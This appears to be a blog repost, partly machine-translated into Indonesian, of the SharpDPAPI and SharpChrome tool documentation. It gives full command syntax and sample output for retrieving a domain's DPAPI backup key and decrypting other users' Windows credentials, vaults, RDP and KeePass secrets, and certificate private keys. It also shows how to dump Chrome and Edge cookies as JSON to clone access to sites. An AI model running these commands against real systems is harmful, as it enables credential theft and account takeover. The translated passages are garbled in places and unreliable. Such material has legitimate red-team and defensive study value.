This blog talks about Computer, Security, Information technology, SEO, Video, etc. Now you can find all free things, Information Technology and Tips and Trick in this blog. JOIN ME KANG ASU

Breaking

Sunday 4 April 2021

SharpDPAPI - Hack AC

 Kang Asu

SharpDPAPI - AC # Pelabuhan Beberapa Fungsi Mimikatz DPAPI



SharpDPAPI adalah C # pelabuhan beberapa fungsi DPAPI dari @gentilkiwi 's Mimikatz proyek.

Saya tidak menemukan logika ini, ini hanyalah port dari Mimikatz untuk lebih memahami proses dan mengoperasionalkannya agar sesuai dengan alur kerja kami.

The SharpChrome subproyek merupakan adaptasi dari karya dari @gentilkiwi dan @djhohnstein , khususnya nya proyek SharpChrome . Namun, versi SharpChrome ini menggunakan versi berbeda dari pustaka C # SQL yang mendukung pembukaan tanpa kunci . SharpChrome dibuat sebagai proyek terpisah di SharpDPAPI karena ukuran pustaka SQLite yang digunakan.

Baik Chrome maupun browser Edge berbasis Chromium yang lebih baru dapat diprioritaskan dengan SharpChrome.

SharpChrome juga menggunakan versi minimal dari kode BCrypt P / Invoke @ AArnott yang dirilis di bawah Lisensi MIT.

Jika Anda tidak terbiasa dengan DPAPI, lihat posting ini untuk informasi latar belakang lebih lanjut. Untuk informasi lebih lanjut tentang Kredensial dan Vaults sehubungan dengan DPAPI, lihat entri wiki Benjamin tentang subjek tersebut.

@ harmj0y adalah penulis utama port ini.

SharpDPAPI dilisensikan di bawah lisensi BSD 3-Clause.




Latar Belakang

Penggunaan Baris Perintah SharpDPAPI
  __                 _   _       _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.11.0



Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:

SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]


The *search* comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs:

search /type:registry [/path:HKLM\path\to\key] [/showErrors]
search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
search /type:base64 [/base:<base64 string>]


Machine/SYSTEM Triage:

machinemasterkeys - triage all reachable machine masterkey files (elevates to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret)
machinecre dentials - use 'machinemasterkeys' and then triage machine Credential files
machinevaults - use 'machinemasterkeys' and then triage machine Vaults
machinetriage - run the 'machinecredentials' and 'machinevaults' commands


User Triage:

Arguments for the 'masterkeys' command:

/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X - first decrypt the current user's masterkeys using a plaintext password (works remotely)
/server:SERVER - triage a remote server, assuming admin access


Arguments for the credential s|vaults|rdg|keepass|triage|blob|ps commands:

Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
/password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely.
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys

Targeting:
/target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder
/server:SERVER - triage a remote server, assuming admin access
Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands


Certificate Triage:

Arguments for the 'certificates' command:
/showall - show all decrypted private key files, not just ones that are linked to installed certs (the default)
/machine - use the local machine store for certificate triage
/mkfile | /target - for /machine triage
/pvk | /mkfile | /password | /server | /target - for user triage


Note: in most cases, just use *triage* if you're targeting user DPAPI secrets and *machinetriage* if you're going after SYSTEM DPAPI secrets.
These functions wrap all the other applicable functions that can be automatic ally run.

Penggunaan Baris Perintah SharpChrome
  __                 _
(_ |_ _. ._ ._ / |_ ._ _ ._ _ _
__) | | (_| | |_) \_ | | | (_) | | | (/_
|
v1.9.0


Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:

SharpChrome backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]


Global arguments for the 'cookies', 'logins', and 'statekeys' commands:

Decryption:
/unprotect - force use of CryptUnprotectData() (default for unprivileged execution)
/password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely.
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to f irst decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/statekey:X - a decrypted AES state key (from the 'statekeys' command)

Targeting:
/target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location
/target:C:\Users\X\ - triage a specific user folder for any specified command
/server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY)
/browser:X - triage 'chrome' (the default) or (chromium-based) 'edge'

Output:
/format:X - either 'csv' (default) or 'table' display
/showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default)
/consoleoutfile:X - output all console output to a file on disk


'cookies' command specific arguments:

/cookie:"REGEX" - only return cookies where the cookie name matches the supplied regex
/url:"REGEX" - only return cookies where the cookie URL matches the supplied regex
/format:json - output cookie values in an EditThisCookie JSON import format. Best when used with a regex!
/setneverexpire - set expirations for cookies output to now + 100 years (for json output)

Penggunaan Operasional

SharpDPAPI

Salah satu tujuan SharpDPAPI adalah untuk mengoperasionalkan kerja DPAPI Benjamin dengan cara yang sesuai dengan alur kerja kami.

Bagaimana tepatnya Anda menggunakan perangkat akan bergantung pada fase keterlibatan Anda di dalamnya. Secara umum, ini terbagi menjadi "apakah saya telah membobol domain atau tidak".

Jika domain admin (atau setara) hak istimewa telah diperoleh, kunci cadangan domain DPAPI dapat diambil dengan backupkey perintah (atau dengan Mimikatz). Kunci pribadi domain ini tidak pernah berubah, dan dapat mendekripsi kunci master DPAPI apa pun untuk pengguna domain. Artinya, dengan kunci cadangan DPAPI domain, penyerang dapat mendekripsi kunci master untuk pengguna domain mana pun yang kemudian dapat digunakan untuk mendekripsi semua Vault / Kredensial / Login Chrome / blob DPAPI lainnya / dll. Kunci yang diambil dari perintah backupkey dapat digunakan dengan perintah masterkeys , credentials , vaults , rdg , atau triage .

Jika hak istimewa DA belum tercapai, menggunakan sekurlsa::dpapiperintah Mimikatz akan mengambil kunci master DPAPI {GUID}: pemetaan SHA1 dari kunci master yang dimuat (pengguna dan SISTEM) pada sistem tertentu (tip: menjalankan dpapi::cachesetelah ekstraksi kunci akan memberi Anda tabel yang bagus) . Jika Anda mengubah kunci ini ke {GUID1}:SHA1 {GUID2}:SHA1...format tipe, mereka dapat diberikan ke kredensial , vaults , rdg , atau perintah triase . Ini memungkinkan Anda melakukan triase semua file / Vault Kredensial pada sistem untuk setiap pengguna yang saat ini masuk, tanpa harus melakukan dekripsi file demi file.

Untuk mendekripsi file RDG / RDCMan.settings dengan perintah rdg , /unprotectbendera akan menggunakan CryptUnprotectData () untuk mendekripsi sandi RDP yang disimpan, jika perintah dijalankan dari konteks pengguna yang menyimpan sandi. Hal ini dapat dilakukan dari unprivileged konteks, tanpa perlu menyentuh LSASS. Untuk alasan mengapa pendekatan ini tidak digunakan untuk kredensial / brankas, lihat dokumentasi Benjamin di sini .

Untuk triase DPAPI khusus mesin, machinemasterkeys|machinecredentials|machinevaults|machinetriageperintah akan melakukan mesin yang setara dengan triase DPAPI pengguna. Jika dalam konteks yang ditinggikan (yaitu, Anda memerlukan hak administratif lokal), SharpDPAPI akan meningkatkan ke hak istimewa SISTEM untuk mengambil rahasia LSA "DPAPI_SYSTEM", yang kemudian digunakan untuk mendekripsi semua kunci master DPAPI mesin yang ditemukan. Kunci-kunci ini kemudian digunakan sebagai tabel pencarian untuk kredensial mesin / vaults / etc.

Untuk informasi DPAPI yang lebih menyinggung, periksa di sini .


SharpChrome

SharpChrome adalah implementasi SharpDPAPI khusus Chrome yang mampu melakukan dekripsi / triase cookie dan login . Itu dibangun sebagai proyek terpisah di SharpDPAPI karena ukuran pustaka SQLite yang digunakan.

Karena Cookie Chrome / Data Login disimpan tanpa CRYPTPROTECT_SYSTEM, CryptUnprotectData () kembali tersedia. Jika SharpChrome dijalankan dari contect yang tidak relevan, SharpChrome akan mencoba mendekripsi login / cookie apa pun untuk pengguna saat ini menggunakan CryptUnprotectData (). /pvk:[BASE64|file.pvk], {GUID}: Tabel pencarian SHA1 /password:X,, atau /mkfile:FILEdari {GUID}: nilai SHA1 juga dapat digunakan untuk mendekripsi nilai. Selain itu, pustaka C # SQL yang digunakan (dengan sedikit modifikasi) mendukung pembukaan tanpa kunci , artinya Chrome tidak harus ditutup / file target tidak harus disalin ke lokasi lain.

Jika Chrome versi 80+, kunci status AES disimpan di AppData \ Local \ Google \ Chrome \ User Data \ Local State - kunci ini dilindungi dengan DPAPI, sehingga kita dapat menggunakan tabel pencarian CryptUnprotectData () / pvk / masterkey untuk mendekripsi saya t. Kunci AES ini kemudian digunakan untuk melindungi cookie baru dan entri data login. Ini juga merupakan proses saat /browser:edgeatau /browser:braveditentukan, untuk triase browser Edge berbasis Chromium yang lebih baru.

Secara default, cookie dan login ditampilkan sebagai csv - ini dapat diubah dengan /format:tableuntuk keluaran tabel, dan /format:jsonuntuk cookie secara khusus. Opsi json mengeluarkan cookie dalam format json yang dapat diimpor ke ekstensi Chrome EditThisCookie untuk digunakan kembali dengan mudah.

The cookies perintah juga memiliki /cookie:REGEXdan /url:REGEXargumen untuk hanya kembali nama cookie atau url yang cocok dengan regex disediakan. Ini berguna dengan /format:jsonuntuk dengan mudah mengkloning akses ke situs tertentu.

File cookie / login / statekey tertentu dapat ditentukan dengan /target:X, dan folder pengguna dapat ditentukan dengan /target:C:\Users\USER\untuk perintah triase apa pun.


SharpDPAPI Memerintahkan tombol master

Triase Pengguna


The masterkeys perintah akan mencari file pengguna masterkey dibaca dan mendekripsi mereka menggunakan kunci DPAPI backup domain yang disediakan. Ini akan mengembalikan satu set kunci master {GUID}: pemetaan SHA1.

Kunci cadangan domain bisa dalam bentuk base64 ( /pvk:BASE64...) atau bentuk file ( /pvk:key.pvk).

C:\Temp>SharpDPAPI.exe masterkeys /pvk:key.pvk

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: Triage User Masterkey Files

[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(snip)...
...(snip)...

kredensial

The kredensial perintah akan mencari file Bukti dan baik) mendekripsi mereka dengan "{GUID}: SHA1" masterkeys berlalu, b) /mkfile:FILEdari satu atau lebih {GUID}: pemetaan SHA1 masterkey, c) menggunakan kunci domain cadangan yang disediakan DPAPI ( /pvk:BASE64...atau /pvk:key.pvk) untuk pertama-tama mendekripsi setiap masterkey pengguna (a la masterkeys ), atau d) a /password:Xuntuk mendekripsi setiap masterkey pengguna, yang kemudian digunakan sebagai tabel dekripsi pencarian. Pemetaan DPAPI GUID dapat dipulihkan dengan sekurlsa::dpapiperintah Mimikatz .

File kredensial tertentu (atau folder kredensial) dapat ditentukan dengan /target:FILEatau /target:C:\Folder\Jika file ditentukan, {GUID}: nilai SHA1 diperlukan, dan jika folder ditentukan a) {GUID}: nilai SHA1 harus diberikan atau b) folder harus berisi kunci master DPAPI dan kunci cadangan domain / pvk harus dipasok.

Jika dijalankan dari konteks yang ditinggikan, file Kredensial untuk SEMUA pengguna akan diprioritaskan, jika tidak, hanya file Kredensial untuk pengguna saat ini yang akan diproses.

Menggunakan domain {GUID}: pemetaan kunci master SHA1:

C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Triaging Credentials for ALL users


Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB

guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
size : 436
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description : Local Credential Data

LastWritten : 1/22/2019 2:44:40 AM
TargetName : Domain:target=TERMSRV/10.4.10.101
TargetAlia s :
Comment :
UserName : DOMAIN\user
Credential : Password!

...(snip)...

Menggunakan kunci cadangan DPAPI domain untuk pertama-tama mendekripsi kunci master apa pun yang dapat ditemukan:

C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Credentials for ALL users


Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB

guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
size : 436
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description : Local Credential Dat a

LastWritten : 1/22/2019 2:44:40 AM
TargetName : Domain:target=TERMSRV/10.4.10.101
TargetAlias :
Comment :
UserName : DOMAIN\user
Credential : Password!

...(snip)...

kubah

The kubah perintah akan mencari kubah dan baik) mendekripsi mereka dengan "{GUID}: SHA1" masterkeys berlalu, b) /mkfile:FILEdari satu atau lebih {GUID}: pemetaan SHA1 masterkey, c) menggunakan kunci cadangan yang disediakan domain DPAPI ( /pvk:BASE64...atau /pvk:key.pvk) untuk pertama-tama mendekripsi setiap masterkey pengguna (a la masterkeys ), atau d) a /password:Xuntuk mendekripsi setiap masterkey pengguna, yang kemudian digunakan sebagai tabel dekripsi pencarian. Pemetaan DPAPI GUID dapat dipulihkan dengan sekurlsa::dpapiperintah Mimikatz .

Folder Policy.vpol di folder Vault didekripsi dengan kunci DPAPI yang disediakan untuk mengambil kunci dekripsi AES terkait, yang kemudian digunakan untuk mendekripsi file .vcrd terkait.

Folder kubah tertentu dapat ditentukan dengan /target:C:\Folder\Dalam kasus ini, a) {GUID}: nilai SHA1 harus diberikan atau b) folder harus berisi kunci master DPAPI dan kunci cadangan domain a / pvk harus diberikan.

Menggunakan domain {GUID}: pemetaan kunci master SHA1:

C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84C D64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

LastWritten : 10/12/2018 12:10:42 PM
FriendlyName : Internet Explorer
Identity : admin
Resource : https://10.0.0.1/
Authenticator : Password!

...(snip)...

Menggunakan kunci cadangan DPAPI domain untuk pertama-tama mendekripsi kunci master apa pun yang dapat ditemukan:

C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCry pt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

LastWritten : 10/12/2018 12:10:42 PM
FriendlyName : Internet Explorer
Identity : admin
Resource : https://10.0.0.1/
Authenticator : Password!

...(snip)...

Menggunakan kunci cadangan DPAPI domain dengan folder yang ditentukan (yaitu triase "offline"):

C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Target Vault Folder: C:\Temp\test\


[*] Triaging Vault folder: C:\Temp\test\

VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

LastWritten : 3/20/2019 6:03:50 AM
FriendlyName : Internet Explorer
Identity : account
Resource : http://www.abc.com/
Authenticator : password

rdg

The RDG perintah akan mencari file RDCMan.settings untuk pengguna saat ini (atau jika ditinggikan, semua pengguna) dan baik) mendekripsi mereka dengan "{GUID}: SHA1" masterkeys berlalu, b) /mkfile:FILEdari satu atau lebih {GUID} : Pemetaan kunci master SHA1, c) menggunakan kunci cadangan domain DPAPI yang disediakan ( /pvk:BASE64...atau /pvk:key.pvk) untuk pertama-tama mendekripsi kunci master pengguna (a la masterkeys ), atau d) /password:Xuntuk mendekripsi kunci master pengguna apa pun yang kemudian digunakan sebagai tabel dekripsi pencarian. Pemetaan DPAPI GUID dapat dipulihkan dengan sekurlsa::dpapiperintah Mimikatz .

The /unprotectbendera akan menggunakan CryptUnprotectData () untuk mendekripsi setiap password RDP disimpan, jika perintah dijalankan dari pengguna konteks yang menyelamatkan password. Hal ini dapat dilakukan dari unprivileged konteks, tanpa perlu menyentuh LSASS. Untuk alasan mengapa pendekatan ini tidak digunakan untuk kredensial / brankas, lihat dokumentasi Benjamin di sini .

File RDCMan.settings tertentu, file .RDC (atau folder dari file .RDG) dapat ditentukan dengan /target:FILEatau /target:C:\Folder\Jika file ditentukan, {GUID}: nilai SHA1 (atau /unprotect) diperlukan, dan jika folder ditentukan a) {GUID}: nilai SHA1 harus diberikan atau b) folder harus berisi kunci master DPAPI dan domain / pvk kunci cadangan harus disediakan.

Perintah ini akan mendekripsi informasi sandi yang disimpan dari file RDCMan.settings dan file .RDG apa pun yang direferensikan oleh file RDCMan.settings.

Menggunakan /unprotectuntuk mendekripsi kata sandi yang ditemukan:

C:\Temp>SharpDPAPI.exe rdg /unprotect

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0


[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG passwords

[*] Triaging RDCMan Settings Files for current user

RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local

Cred Profiles

Profile Name : testprofile
UserName : testlab.local\dfm
Password : Password123!

Default Logon Credentials

Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!

C: \Users\harmj0y\Documents\test.rdg

Servers

Name : secondary.testlab.local

Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!

Menggunakan domain {GUID}: pemetaan kunci master SHA1:

C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0


[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG passwords

[*] Triaging RDCMan Settings Files for current user

RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local

Cred Profiles

Profile Name : testprofile
UserName : testlab.local\dfm
Password : Password123!

Default Logon Credentials

Profile Name : Custom
UserName : TESTLA B\harmj0y
Password : Password123!

C:\Users\harmj0y\Documents\test.rdg

Servers

Name : secondary.testlab.local

Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!

Menggunakan kunci cadangan DPAPI domain untuk pertama-tama mendekripsi kunci master apa pun yang dapat ditemukan:

C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0


[*] Action: RDG Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging RDCMan.settings Files for ALL users

RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local

Cred Profiles

Profile Name : testprofile
UserName : testlab.local\dfm.a
Password : Password123!

Default Logon Credentials

Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!

C:\Users\harmj0y\Documents\test.rdg

Servers

Name : secondary.testlab.local

Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!

keepass

The KeePass perintah akan mencari file KeePass ProtectedUserKey.bin untuk pengguna saat ini (atau jika ditinggikan, semua pengguna) dan baik) mendekripsi mereka dengan "{GUID}: SHA1" masterkeys berlalu, b) /mkfile:FILEdari satu atau lebih {GUID }: Pemetaan kunci master SHA1, c) menggunakan kunci cadangan domain DPAPI yang disediakan ( /pvk:BASE64...atau /pvk:key.pvk) untuk pertama-tama mendekripsi kunci master pengguna (a la masterkeys ), atau d) /password:Xuntuk mendekripsi kunci master pengguna mana pun yang kemudian digunakan sebagai tabel dekripsi pencarian. Pemetaan DPAPI GUID dapat dipulihkan dengan sekurlsa::dpapiperintah Mimikatz .

The /unprotectbendera akan menggunakan CryptUnprotectData () untuk mendekripsi byte kunci, jika perintah dijalankan dari pengguna konteks yang menyelamatkan password. Hal ini dapat dilakukan dari unprivileged konteks, tanpa perlu menyentuh LSASS. Untuk alasan mengapa pendekatan ini tidak digunakan untuk kredensial / brankas, lihat dokumentasi Benjamin di sini .

File ProtectedUserKey.bin tertentu, file .RDC (atau folder dari file .RDG) dapat ditentukan dengan /target:FILEatau /target:C:\Folder\Jika file ditentukan, {GUID}: nilai SHA1 (atau /unprotect) diperlukan, dan jika folder ditentukan a) {GUID}: nilai SHA1 harus diberikan atau b) folder harus berisi kunci master DPAPI dan domain / pvk kunci cadangan harus disediakan.

Byte file kunci yang didekripsi dapat digunakan dengan versi KeePass yang dimodifikasi di KeeThief .

Menggunakan /unprotectuntuk mendekripsi materi kunci yang ditemukan:

C:\Temp> SharpDPAPI.exe  keepass /unprotect

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0


[*] Action: KeePass Triage

[*] Using CryptUnprotectData() for decryption.

[*] Triaging KeePass ProtectedUserKey.bin files for current user

File : C:\Users\harmj0y\AppData\Roaming\KeePass\ProtectedUserKey.bin
Accessed : 3/1/2021 1:38:22 PM
Modified : 1/4/2021 5:49:49 PM
guidMasterKey : {dab90445-0a08-4b27-9110-b75d4a7894d0}
size : 210
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Key Bytes : 39 2E 63 EF 0E 37 E8 5C 34 ...


SharpDPAPI completed in 00:00:00.0566660

sertifikat

The sertifikat perintah akan mencari pengguna kunci pribadi dienkripsi sertifikat DPAPI a) mendekripsi mereka dengan "{GUID}: SHA1" masterkeys berlalu, b) /mkfile:FILEdari satu atau lebih {GUID}: pemetaan SHA1 masterkey, c) menggunakan disediakan DPAPI backup domain key ( /pvk:BASE64...atau /pvk:key.pvk) untuk pertama-tama mendekripsi setiap masterkey pengguna (a la masterkeys ), atau d) a /password:Xuntuk mendekripsi setiap masterkey pengguna, yang kemudian digunakan sebagai tabel dekripsi pencarian. Pemetaan DPAPI GUID dapat dipulihkan dengan sekurlsa::dpapiperintah Mimikatz .

Sertifikat tertentu dapat ditentukan dengan /target:C:\Folder\Dalam kasus ini, a) {GUID}: nilai SHA1 harus diberikan atau b) folder harus berisi kunci master DPAPI dan kunci cadangan domain a / pvk harus diberikan.

Secara default, hanya kunci pribadi yang dapat ditautkan ke sertifikat terinstal terkait yang ditampilkan. The /showallperintah akan menampilkan semua didekripsi kunci pribadi.

Gunakan /cngbendera untuk kunci pribadi CNG (defaultnya adalah capi).

Menggunakan domain {GUID}: pemetaan kunci master SHA1:

C:\Temp> SharpDPAPI.exe certificates {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...(snip)...

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0


[*] Action: Certificate Triage

Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

File : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {dab90445-0a08-4b27-9110-b75d4a7894d0}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : ef98458bca7135fe1bb89b3715180 ae6
HMAC : 5c3c3da2a4f6548a0186c22f86d7bc85
Unique Name : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da

Thumbprint : 98A03BC583861DCC19045758C0E0C05162091B6C
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=harmj0y
Valid Date : 2/22/2021 2:19:02 PM
Expiry Date : 2/22/2022 2:19:02 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Secure Email (1.3.6.1.5.5.7.3.4)
Encrypting File System (1.3.6.1.4.1.311.10.3.4)

[*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

Menggunakan kunci cadangan DPAPI domain untuk pertama-tama mendekripsi kunci master apa pun yang dapat ditemukan:

C:\Temp>SharpDPAPI.exe certificates /pvk:HvG1sAAAAAABAAAAAAAAAAAAAACU...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
